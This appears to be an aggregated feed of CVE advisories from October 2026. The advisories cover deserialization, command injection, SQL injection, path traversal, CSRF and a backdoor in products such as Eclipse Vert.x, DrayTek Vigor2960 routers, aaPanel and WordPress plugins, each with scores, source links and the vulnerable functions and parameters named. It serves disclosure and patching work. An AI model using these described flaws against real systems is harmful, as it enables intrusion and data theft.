### In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x DB2 client (vertx-db2-client) contains DRDA protocol handling code that...
https://kevwire.com/record/CVE-2026-102469
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x DB2 client (vertx-db2-client) contains DRDA protocol handling code that... (Oct 15, 2026).
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x DB2 client (vertx-db2-client) contains DRDA protocol handling code that deserializes User Defined Type (UDT) column data using a bare ObjectInputStream.readObject() call with no ObjectInputFilter or class allowlist.



This code path is triggered when a DRDA server sends a result set with a column tagged as UDT (FDOCA protocol LID 0x50). However, DB2 does not support this type of UDT. The FDOCA 0x50 type is never sent by a legitimate DB2 server.



Nevertheless, a malicious or man-in-the-middle DRDA server could craft a response with a 0x50-tagged column, causing the client to deserialize arbitrary attacker-controlled bytes on the Vert.x event loop before any application code can inspect or reject the data. If a Java deserialization gadget chain is present on the application's classpath, this enables remote code execution. Without a gadget chain, denial of service is possible via crafted object graphs. TLS is disabled by default, making man-in-the-middle exploitation feasible.



The impacted component is io.vertx:vertx-db2-client.
CVSS 9.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102469).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102469&date=2026-10-25).
Sources:
NVD CVE-2026-102469: https://nvd.nist.gov/vuln/detail/CVE-2026-102469
Vendor advisory (via NVD references): https://github.com/eclipse-vertx/vertx-sql-client/security/advisories/GHSA-j4vf-w939-pgxf
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102469&date=2026-10-25
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x DB2 client (vertx-db2-client) contains DRDA protocol handling code that deserializes User Defined Type (UDT) column data using a bare ObjectInputStream.readObject() call with no ObjectInputFilter or class allowlist.



This code path is triggered when a DRDA server sends a result set with a column tagged as UDT (FDOCA protocol LID 0x50). However, DB2 does not support this type of UDT. The FDOCA 0x50 type is never sent by a legitimate DB2 server.



Nevertheless, a malicious or man-in-the-middle DRDA server could craft a response with a 0x50-tagged column, causing the client to deserialize arbitrary attacker-controlled bytes on the Vert.x event loop before any application code can inspect or reject the data. If a Java deserialization gadget chain is present on the application's classpath, this enables remote code execution. Without a gadget chain, denial of service is possible via crafted object graphs. TLS is disabled by default, making man-in-the-middle exploitation feasible.



The impacted component is io.vertx:vertx-db2-client.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in orbitale imagemagick-php up to 3.3.5. Affected by this issue is the function Command::font of the file src/Command.php.
https://kevwire.com/record/CVE-2026-112301
A security flaw has been discovered in orbitale imagemagick-php up to 3.3.5. Affected by this issue is the function Command::font of the file src/Command.php. (Oct 19, 2026).
A security flaw has been discovered in orbitale imagemagick-php up to 3.3.5. Affected by this issue is the function Command::font of the file src/Command.php. The manipulation of the argument fontFile results in os command injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112301).
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112301&date=2026-10-25).
Sources:
NVD CVE-2026-112301: https://nvd.nist.gov/vuln/detail/CVE-2026-112301
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112301&date=2026-10-25
A security flaw has been discovered in orbitale imagemagick-php up to 3.3.5. Affected by this issue is the function Command::font of the file src/Command.php. The manipulation of the argument fontFile results in os command injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in Netis EAP930 1.250905.115454. This issue affects the function return200 of the file /cgi-bin/debug of the component CGI Endpoint.
https://kevwire.com/record/CVE-2026-112360
A security vulnerability has been detected in Netis EAP930 1.250905.115454. This issue affects the function return200 of the file /cgi-bin/debug of the component CGI Endpoint. (Oct 19, 2026).
A security vulnerability has been detected in Netis EAP930 1.250905.115454. This issue affects the function return200 of the file /cgi-bin/debug of the component CGI Endpoint. The manipulation of the argument SIGNATURE leads to backdoor. The attack may be initiated remotely. A high degree of complexity is needed for the attack. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 7.4 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112360).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112360&date=2026-10-25).
Sources:
NVD CVE-2026-112360: https://nvd.nist.gov/vuln/detail/CVE-2026-112360
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112360&date=2026-10-25
A security vulnerability has been detected in Netis EAP930 1.250905.115454. This issue affects the function return200 of the file /cgi-bin/debug of the component CGI Endpoint. The manipulation of the argument SIGNATURE leads to backdoor. The attack may be initiated remotely. A high degree of complexity is needed for the attack. The exploitability is assessed as difficult. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in H3C Magic NX15 NX15V100R017. Impacted is the function write of the file /api/esps of the component RPC Interface.
https://kevwire.com/record/CVE-2026-112371
A vulnerability was determined in H3C Magic NX15 NX15V100R017. Impacted is the function write of the file /api/esps of the component RPC Interface. (Oct 19, 2026).
A vulnerability was determined in H3C Magic NX15 NX15V100R017. Impacted is the function write of the file /api/esps of the component RPC Interface. Executing a manipulation of the argument path can lead to code injection. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112371).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112371&date=2026-10-25).
Sources:
NVD CVE-2026-112371: https://nvd.nist.gov/vuln/detail/CVE-2026-112371
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112371&date=2026-10-25
A vulnerability was determined in H3C Magic NX15 NX15V100R017. Impacted is the function write of the file /api/esps of the component RPC Interface. Executing a manipulation of the argument path can lead to code injection. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cross-Site Request Forgery (CSRF) vulnerability in e4jvikwp VikRentCar vikrentcar allows Cross Site Request Forgery.This issue affects VikRentCar: from n/a through 1.4.8.
https://kevwire.com/record/CVE-2026-112836
Cross-Site Request Forgery (CSRF) vulnerability in e4jvikwp VikRentCar vikrentcar allows Cross Site Request Forgery.This issue affects VikRentCar: from n/a through 1.4.8. (Oct 20, 2026).
Cross-Site Request Forgery (CSRF) vulnerability in e4jvikwp VikRentCar vikrentcar allows Cross Site Request Forgery.This issue affects VikRentCar: from n/a through 1.4.8.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112836).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112836&date=2026-10-25).
Sources:
NVD CVE-2026-112836: https://nvd.nist.gov/vuln/detail/CVE-2026-112836
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112836&date=2026-10-25
Cross-Site Request Forgery (CSRF) vulnerability in e4jvikwp VikRentCar vikrentcar allows Cross Site Request Forgery.This issue affects VikRentCar: from n/a through 1.4.8.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in Osclass up to 8.3.1. Affected by this vulnerability is the function Item::findUserItems of the file oc-includes/osclass/model/Item.php of the...
https://kevwire.com/record/CVE-2026-113381
A weakness has been identified in Osclass up to 8.3.1. Affected by this vulnerability is the function Item::findUserItems of the file oc-includes/osclass/model/Item.php of the... (Oct 20, 2026).
A weakness has been identified in Osclass up to 8.3.1. Affected by this vulnerability is the function Item::findUserItems of the file oc-includes/osclass/model/Item.php of the component Item Model Handler. This manipulation of the argument sPattern causes sql injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113381).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113381&date=2026-10-25).
Sources:
NVD CVE-2026-113381: https://nvd.nist.gov/vuln/detail/CVE-2026-113381
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113381&date=2026-10-25
A weakness has been identified in Osclass up to 8.3.1. Affected by this vulnerability is the function Item::findUserItems of the file oc-includes/osclass/model/Item.php of the component Item Model Handler. This manipulation of the argument sPattern causes sql injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this vulnerability is the function set_table of the file /cgi-bin/mainfunction.cgi of the...
https://kevwire.com/record/CVE-2026-113389
A vulnerability was detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this vulnerability is the function set_table of the file /cgi-bin/mainfunction.cgi of the... (Oct 20, 2026).
A vulnerability was detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this vulnerability is the function set_table of the file /cgi-bin/mainfunction.cgi of the component CGI Process. The manipulation of the argument sectiontype results in command injection. The attack may be launched remotely. The exploit is now public and may be used. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113389).
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113389&date=2026-10-25).
Sources:
NVD CVE-2026-113389: https://nvd.nist.gov/vuln/detail/CVE-2026-113389
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113389&date=2026-10-25
A vulnerability was detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this vulnerability is the function set_table of the file /cgi-bin/mainfunction.cgi of the component CGI Process. The manipulation of the argument sectiontype results in command injection. The attack may be launched remotely. The exploit is now public and may be used. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function uploadlangs of the file /cgi-bin/mainfunction.cgi of the component Upload...
https://kevwire.com/record/CVE-2026-113391
A vulnerability has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function uploadlangs of the file /cgi-bin/mainfunction.cgi of the component Upload... (Oct 20, 2026).
A vulnerability has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function uploadlangs of the file /cgi-bin/mainfunction.cgi of the component Upload Endpoint. Such manipulation leads to command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.7 is able to mitigate this issue. It is recommended to upgrade the affected component. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113391).
EPSS 2.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113391&date=2026-10-25).
Sources:
NVD CVE-2026-113391: https://nvd.nist.gov/vuln/detail/CVE-2026-113391
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113391&date=2026-10-25
A vulnerability has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function uploadlangs of the file /cgi-bin/mainfunction.cgi of the component Upload Endpoint. Such manipulation leads to command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.7 is able to mitigate this issue. It is recommended to upgrade the affected component. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This vulnerability affects unknown code of the file /cgi-bin/mainfunction.cgi of the component Apmupload.
https://kevwire.com/record/CVE-2026-113392
A vulnerability was found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This vulnerability affects unknown code of the file /cgi-bin/mainfunction.cgi of the component Apmupload. (Oct 20, 2026).
A vulnerability was found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This vulnerability affects unknown code of the file /cgi-bin/mainfunction.cgi of the component Apmupload. Performing a manipulation of the argument action results in path traversal. The attack is possible to be carried out remotely. The exploit has been made public and could be used. Upgrading to version 1.5.1.7 is able to resolve this issue. Upgrading the affected component is advised. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 2.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113392).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113392&date=2026-10-25).
Sources:
NVD CVE-2026-113392: https://nvd.nist.gov/vuln/detail/CVE-2026-113392
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113392&date=2026-10-25
A vulnerability was found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This vulnerability affects unknown code of the file /cgi-bin/mainfunction.cgi of the component Apmupload. Performing a manipulation of the argument action results in path traversal. The attack is possible to be carried out remotely. The exploit has been made public and could be used. Upgrading to version 1.5.1.7 is able to resolve this issue. Upgrading the affected component is advised. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in DrayTek Vigor2960 1.5.1.6 Revision 8218. The affected element is the function cgiEscape of the file /cgi-bin/mainfunction.cgi of the...
https://kevwire.com/record/CVE-2026-113395
A security flaw has been discovered in DrayTek Vigor2960 1.5.1.6 Revision 8218. The affected element is the function cgiEscape of the file /cgi-bin/mainfunction.cgi of the... (Oct 20, 2026).
A security flaw has been discovered in DrayTek Vigor2960 1.5.1.6 Revision 8218. The affected element is the function cgiEscape of the file /cgi-bin/mainfunction.cgi of the component swmconfigupload. The manipulation of the argument multipart results in path traversal. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. Upgrading to version 1.5.1.7 is sufficient to fix this issue. The affected component should be upgraded. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 2.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113395).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113395&date=2026-10-25).
Sources:
NVD CVE-2026-113395: https://nvd.nist.gov/vuln/detail/CVE-2026-113395
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113395&date=2026-10-25
A security flaw has been discovered in DrayTek Vigor2960 1.5.1.6 Revision 8218. The affected element is the function cgiEscape of the file /cgi-bin/mainfunction.cgi of the component swmconfigupload. The manipulation of the argument multipart results in path traversal. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. Upgrading to version 1.5.1.7 is sufficient to fix this issue. The affected component should be upgraded. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. The impacted element is the function rename_table of the file /cgi-bin/mainfunction.cgi of the component...
https://kevwire.com/record/CVE-2026-113396
A weakness has been identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. The impacted element is the function rename_table of the file /cgi-bin/mainfunction.cgi of the component... (Oct 20, 2026).
A weakness has been identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. The impacted element is the function rename_table of the file /cgi-bin/mainfunction.cgi of the component Rename Table Handler. This manipulation of the argument newtable causes command injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 1.5.1.7 is sufficient to resolve this issue. It is suggested to upgrade the affected component. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 2.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113396).
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113396&date=2026-10-25).
Sources:
NVD CVE-2026-113396: https://nvd.nist.gov/vuln/detail/CVE-2026-113396
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113396&date=2026-10-25
A weakness has been identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. The impacted element is the function rename_table of the file /cgi-bin/mainfunction.cgi of the component Rename Table Handler. This manipulation of the argument newtable causes command injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 1.5.1.7 is sufficient to resolve this issue. It is suggested to upgrade the affected component. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function ruequest_certificate of the file /cgi-bin/mainfunction.cgi of the...
https://kevwire.com/record/CVE-2026-113397
A security vulnerability has been detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function ruequest_certificate of the file /cgi-bin/mainfunction.cgi of the... (Oct 20, 2026).
A security vulnerability has been detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function ruequest_certificate of the file /cgi-bin/mainfunction.cgi of the component IPsec Handler. Such manipulation of the argument option leads to command injection. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 1.5.1.7 mitigates this issue. Upgrading the affected component is recommended. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 2.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113397).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113397&date=2026-10-25).
Sources:
NVD CVE-2026-113397: https://nvd.nist.gov/vuln/detail/CVE-2026-113397
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113397&date=2026-10-25
A security vulnerability has been detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function ruequest_certificate of the file /cgi-bin/mainfunction.cgi of the component IPsec Handler. Such manipulation of the argument option leads to command injection. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 1.5.1.7 mitigates this issue. Upgrading the affected component is recommended. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in aaPanel up to 8.25.0. The affected element is the function ExecShell of the file class/public/common.py of the component File Manager.
https://kevwire.com/record/CVE-2026-113506
A vulnerability has been found in aaPanel up to 8.25.0. The affected element is the function ExecShell of the file class/public/common.py of the component File Manager. (Oct 20, 2026).
A vulnerability has been found in aaPanel up to 8.25.0. The affected element is the function ExecShell of the file class/public/common.py of the component File Manager. The manipulation of the argument sfile/dfile/access/user leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The vendor confirms: "The reported RCE and LFI vulnerabilities require authentication."
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113506).
EPSS 2.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113506&date=2026-10-25).
Sources:
NVD CVE-2026-113506: https://nvd.nist.gov/vuln/detail/CVE-2026-113506
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113506&date=2026-10-25
A vulnerability has been found in aaPanel up to 8.25.0. The affected element is the function ExecShell of the file class/public/common.py of the component File Manager. The manipulation of the argument sfile/dfile/access/user leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The vendor confirms: "The reported RCE and LFI vulnerabilities require authentication."

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The EventON - Subscriber plugin for WordPress is vulnerable to generic SQL Injection via the 'email' parameter in all versions up to, and including, 1.4.5 due to insufficient...
https://kevwire.com/record/CVE-2026-93300
The EventON - Subscriber plugin for WordPress is vulnerable to generic SQL Injection via the 'email' parameter in all versions up to, and including, 1.4.5 due to insufficient... (Oct 20, 2026).
The EventON - Subscriber plugin for WordPress is vulnerable to generic SQL Injection via the 'email' parameter in all versions up to, and including, 1.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93300).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93300&date=2026-10-25).
Sources:
NVD CVE-2026-93300: https://nvd.nist.gov/vuln/detail/CVE-2026-93300
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93300&date=2026-10-25
The EventON - Subscriber plugin for WordPress is vulnerable to generic SQL Injection via the 'email' parameter in all versions up to, and including, 1.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a gRPC endpoint does have a configurable per message maximum size in bytes,...
https://kevwire.com/record/CVE-2026-102477
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a gRPC endpoint does have a configurable per message maximum size in bytes,... (Oct 15, 2026).
In Eclipse Vert.x versions [4.0.0, 4.5.34] or [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], a gRPC endpoint does have a configurable per message maximum size in bytes, however the maximum size applies to the received bytes. When applied to a compressed message, this only applies to the compressed size and not the actual size of the uncompressed content. This can be used to force a gRPC endpoint to allocate more bytes than the value defined by the configuration, making the endpoint vulnerable to compression bomb attacks.



The impacted component is io.vertx:vertx-gprc-server.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102477).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102477&date=2026-10-25).
Sources:
NVD CVE-2026-102477: https://nvd.nist.gov/vuln/detail/CVE-2026-102477
Vendor advisory (via NVD references): https://github.com/eclipse-vertx/vertx-grpc/security/advisories/GHSA-4wvq-75mw-q6cg
